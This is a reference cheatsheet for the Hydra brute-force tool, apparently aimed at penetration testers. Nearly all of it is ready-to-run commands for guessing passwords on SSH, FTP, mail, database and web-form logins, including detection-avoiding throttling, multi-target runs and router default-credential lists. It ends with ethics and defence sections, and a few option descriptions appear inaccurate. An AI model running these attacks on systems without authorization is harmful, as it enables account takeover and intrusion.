Hydra Cheatsheet

Essential commands for password cracking and penetration testing

This cheatsheet provides a comprehensive reference to Hydra, an open source password brute-forcing tool designed for online brute-force attacks against network protocols. Hydra can perform rapid dictionary attacks against more than 50 protocols including telnet, FTP, HTTP, HTTPS, SSH, databases, and several other services.

Basic Syntax	Protocol Attacks	Web Form Attacks
Core command structure and options	SSH, FTP, HTTP, and database attacks	HTTP POST/GET form exploitation

Advanced Options	Best Practices
Performance tuning and optimization	Ethical usage and security considerations

Basic Syntax & Installation

Installation: `sudo apt install hydra`

Hydra usually comes pre-installed on Kali Linux but can be installed on other distributions:

```
# Install on Debian/Ubuntu systems
sudo apt install hydra

# Install on other systems
sudo apt-get install hydra

# Verify installation
hydra -h

# Check supported protocols
hydra
```

Basic Syntax: `hydra [options] target service`

Basic syntax: hydra -l <username> -P <password_file> <target_protocol>://<target_address>

```
# Single username, password list
hydra -l username -P passwords.txt target.com ssh

# Username list, password list
hydra -L users.txt -P passwords.txt target.com ssh

# Single username, single password
hydra -l admin -p password123 192.168.1.100 ftp
```

Core Options: `-l`, `-L`, `-p`, `-P`

Specify usernames and passwords for brute force attacks.

```
# Username options
-l username       # Single username
-L userlist.txt   # Username list file

# Password options
-p password       # Single password
-P passwordlist.txt # Password list file

# Common wordlists location
/usr/share/wordlists/rockyou.txt
/usr/share/wordlists/metasploit/unix_passwords.txt
```

Output Options: `-o`, `-b`

Save results to file for later analysis.

```
# Save results to file
hydra -l admin -P passwords.txt target.com ssh -o results.txt

# JSON output format
hydra -l admin -P passwords.txt target.com ssh -b json

# Verbose output
hydra -l admin -P passwords.txt target.com ssh -V
```

Protocol-Specific Attacks

SSH: `hydra target ssh`

Attack SSH servers with username and password combinations.

```
# Basic SSH attack
hydra -l root -P /usr/share/wordlists/rockyou.txt 192.168.1.100 ssh

# Multiple usernames
hydra -L users.txt -P passwords.txt ssh://192.168.1.100

# Custom SSH port
hydra -l admin -P passwords.txt 192.168.1.100 -s 2222 ssh

# With threading
hydra -l root -P passwords.txt -t 6 ssh://192.168.1.100
```

Database Attacks: `mysql`, `postgres`, `mssql`

Attack database services with credential brute forcing.

```
# MySQL attack
hydra -l root -P passwords.txt 192.168.1.100 mysql

# PostgreSQL attack
hydra -l postgres -P passwords.txt 192.168.1.100 postgres

# MSSQL attack
hydra -l sa -P passwords.txt 192.168.1.100 mssql

# MongoDB attack
hydra -l admin -P passwords.txt 192.168.1.100 mongodb
```

FTP: `hydra target ftp`

Brute force FTP login credentials.

```
# Basic FTP attack
hydra -l admin -P passwords.txt ftp://192.168.1.100

# Anonymous FTP check
hydra -l anonymous -p "" ftp://192.168.1.100

# Custom FTP port
hydra -l user -P passwords.txt -s 2121 192.168.1.100 ftp
```

SMTP/Email: `hydra target smtp`

Attack email server authentication.

```
# SMTP brute force
hydra -l admin -P passwords.txt smtp://mail.target.com

# With null/empty passwords
hydra -P passwords.txt -e ns 'a' -s 25 smtp.target.com smtp

# IMAP attack
hydra -l user -P passwords.txt imap://mail.target.com
```

Web Application Attacks

HTTP POST Forms: `http-post-form`

Attack web login forms using HTTP POST method with placeholders ^USER^ and ^PASS^.

```
# Basic POST form attack
hydra -l admin -P passwords.txt 192.168.1.100 http-post-form "/login.php:username=^USER^&password=^PASS^:F=incorrect"

# With custom error message
hydra -l admin -P passwords.txt 192.168.1.100 http-post-form "/login:user=^USER^&pass=^PASS^:Invalid password"

# With success condition
hydra -l admin -P passwords.txt 192.168.1.100 http-post-form "/admin:username=^USER^&password=^PASS^:S=Dashboard"
```

HTTP GET Forms: `http-get-form`

Similar to POST forms but targets GET requests instead.

```
# GET form attack
hydra -l admin -P passwords.txt 192.168.1.100 http-get-form "/login:username=^USER^&password=^PASS^:F=Invalid"

# With custom headers
hydra -l admin -P passwords.txt 192.168.1.100 http-get-form "/auth:user=^USER^&pass=^PASS^:F=Error:H=Cookie: session=abc123"
```

HTTP Basic Auth: `http-get`/`http-post`

Attack web servers using HTTP basic authentication.

```
# HTTP Basic Authentication
hydra -l admin -P passwords.txt http-get://192.168.1.100

# HTTPS Basic Authentication
hydra -l admin -P passwords.txt https-get://secure.target.com

# With custom path
hydra -l admin -P passwords.txt http-get://192.168.1.100/admin
```

Advanced Web Attacks

Handle complex web applications with CSRF tokens and cookies.

```
# With CSRF token handling
hydra -l admin -P passwords.txt 192.168.1.100 http-post-form "/login:username=^USER^&password=^PASS^&csrf=^CSRF^:F=Error:H=Cookie: csrf=^CSRF^"

# With session cookies
hydra -l admin -P passwords.txt 192.168.1.100 http-post-form "/login:username=^USER^&password=^PASS^:F=Invalid:H=Cookie: PHPSESSID=ab123"
```

Performance & Threading Options

Threading: `-t` (Tasks)

Control the number of simultaneous attack connections during the attack.

```
# Default threading (16 tasks)
hydra -l admin -P passwords.txt target.com ssh

# Custom thread count
hydra -l admin -P passwords.txt -t 4 target.com ssh

# High-performance attack (use carefully)
hydra -l admin -P passwords.txt -t 64 target.com ssh

# Conservative threading (avoid detection)
hydra -l admin -P passwords.txt -t 1 target.com ssh
```

Wait Time: `-w` (Delay)

Add delays between attempts to avoid rate limiting and detection.

```
# 30-second wait between attempts
hydra -l admin -P passwords.txt -w 30 target.com ssh

# Combined with threading
hydra -l admin -P passwords.txt -t 2 -w 10 target.com ssh

# Random delay (1-5 seconds)
hydra -l admin -P passwords.txt -W 5 target.com ssh
```

Multiple Targets: `-M` (Target File)

Attack multiple hosts by specifying them in a file.

```
# Create target file
echo "192.168.1.100" > targets.txt
echo "192.168.1.101" >> targets.txt
echo "192.168.1.102" >> targets.txt

# Attack multiple targets
hydra -L users.txt -P passwords.txt -M targets.txt ssh

# With custom threading per target
hydra -L users.txt -P passwords.txt -M targets.txt -t 2 ssh
```

Resume & Stop Options

Resume interrupted attacks and control stopping behavior.

```
# Stop after first success
hydra -l admin -P passwords.txt -f target.com ssh

# Resume previous attack
hydra -R

# Create restore file
hydra -l admin -P passwords.txt -I restore.txt target.com ssh
```

Advanced Features & Options

Password Generation: `-e` (Additional Tests)

Test additional password variations automatically.

```
# Test null passwords
hydra -l admin -e n target.com ssh

# Test username as password
hydra -l admin -e s target.com ssh

# Test reverse username
hydra -l admin -e r target.com ssh

# Combine all options
hydra -l admin -e nsr -P passwords.txt target.com ssh
```

Proxy Support: `HYDRA_PROXY`

Use proxy servers for attacks with environment variables.

```
# HTTP proxy
export HYDRA_PROXY=connect://proxy.example.com:8080
hydra -l admin -P passwords.txt target.com ssh

# SOCKS4 proxy with auth
export HYDRA_PROXY=socks4://user:pass@127.0.0.1:1080

# SOCKS5 proxy
export HYDRA_PROXY=socks5://proxy.example.com:1080
```

Colon-Separated Format: `-C`

Use username:password combinations to reduce attack time.

```
# Create credential file
echo "admin:admin" > creds.txt
echo "root:password" >> creds.txt
echo "user1:12345" >> creds.txt

# Use colon format
hydra -C creds.txt target.com ssh

# Faster than full combination testing
```

Password List Optimization: `pw-inspector`

Use pw-inspector to filter password lists based on policies.

```
# Filter passwords (min 6 chars, 2 char classes)
cat passwords.txt | pw-inspector -m 6 -c 2 -n > filtered.txt

# Use filtered list with Hydra
hydra -l admin -P filtered.txt target.com ssh

# Remove duplicates first
cat passwords.txt | sort | uniq > unique_passwords.txt
```

Ethical Usage & Best Practices

Legal & Ethical Guidelines

It is possible to use Hydra both lawfully and unlawfully. Get appropriate permission and approval before performing brute-force attacks.

- Only perform attacks on systems where explicit permission has been obtained
- Always ensure that you have explicit permission from the system owner or administrator
- Document all testing activities for compliance
- Use only during authorized penetration testing
- Never use for unauthorized access attempts

Defensive Measures

Defend against brute-force attacks with strong passwords and policies.

- Implement account lockout policies to temporarily lock accounts after failed attempts
- Use multi-factor authentication (MFA)
- Implement CAPTCHA systems to prevent automation tools
- Monitor and log authentication attempts
- Implement rate limiting and IP blocking

Testing Best Practices

Start with conservative settings and document all activities for transparency.

- Start with low thread counts to avoid service disruption
- Use wordlists appropriate for the target environment
- Test during approved maintenance windows when possible
- Monitor target system performance during testing
- Have incident response procedures ready

Common Use Cases

Red and blue teams both benefit for password audits, security assessments, and penetration testing.

- Password cracking to identify weak passwords and assess password strength
- Security audits of network services
- Penetration testing and vulnerability assessments
- Compliance testing for password policies
- Training and educational demonstrations

GUI Alternative & Additional Tools

XHydra: GUI Interface

XHydra is a GUI for Hydra that allows selecting configuration from controls via GUI instead of command line switches.

```
# Launch XHydra GUI
xhydra

# Install if not available
sudo apt install hydra-gtk

# Features:
# - Point-and-click interface
# - Pre-configured attack templates
# - Visual progress monitoring
# - Easy target and wordlist selection
```

Hydra Wizard: Interactive Setup

Interactive wizard that guides users through hydra setup with simple questions.

```
# Launch interactive wizard
hydra-wizard

# Wizard asks for:
# 1. Service to attack
# 2. Target to attack
# 3. Username or username file
# 4. Password or password file
# 5. Additional password tests
# 6. Port number
# 7. Final confirmation
```

Default Password Lists: `dpl4hydra`

Generate default password lists for specific brands and systems.

```
# Refresh default password database
dpl4hydra refresh

# Generate list for specific brand
dpl4hydra cisco
dpl4hydra netgear
dpl4hydra linksys

# Use generated lists
hydra -C dpl4hydra_cisco.txt 192.168.1.1 ssh

# All brands:
dpl4hydra all
```

Integration with Other Tools

Combine Hydra with reconnaissance and enumeration tools.

```
# Combine with Nmap service discovery
nmap -sV 192.168.1.0/24 | grep -E '(ssh|ftp|http)'

# Use with username enumeration results
enum4linux 192.168.1.100 | grep "user:" > users.txt

# Integrate with Metasploit wordlists
ls /usr/share/wordlists/metasploit/
```

Troubleshooting & Performance

Common Issues & Solutions

Resolve typical problems encountered during Hydra usage.

```
# Connection timeout errors
hydra -l admin -P passwords.txt -t 1 -w 30 target.com ssh

# Too many connections error
hydra -l admin -P passwords.txt -t 2 target.com ssh

# Memory usage optimization
hydra -l admin -P small_list.txt target.com ssh

# Check supported protocols
hydra
# Look for protocol in supported services list
```

Performance Optimization

Optimize password lists and sort by likelihood for faster results.

```
# Sort passwords by likelihood
hydra -l admin -P passwords.txt -u target.com ssh

# Remove duplicates
sort passwords.txt | uniq > clean_passwords.txt

# Optimize threading based on target
# Local network: -t 16
# Internet target: -t 4
# Slow service: -t 1
```

Output Formats & Analysis

Different output formats for result analysis and reporting.

```
# Standard text output
hydra -l admin -P passwords.txt target.com ssh -o results.txt

# JSON format for parsing
hydra -l admin -P passwords.txt target.com ssh -b json -o results.json

# Verbose output for debugging
hydra -l admin -P passwords.txt target.com ssh -V

# Success-only output
hydra -l admin -P passwords.txt target.com ssh | grep "password:"
```

Resource Monitoring

Monitor system and network resources during attacks.

```
# Monitor CPU usage
top -p $(pidof hydra)

# Monitor network connections
netstat -an | grep :22

# Monitor memory usage
ps aux | grep hydra

# Limit system impact
nice -n 19 hydra -l admin -P passwords.txt target.com ssh
```

Warning: Hydra should only be used for authorized security testing. Unauthorized use is illegal and unethical. Always use Hydra ethically, with explicit permission, and within the bounds of the law to improve security and identify vulnerabilities.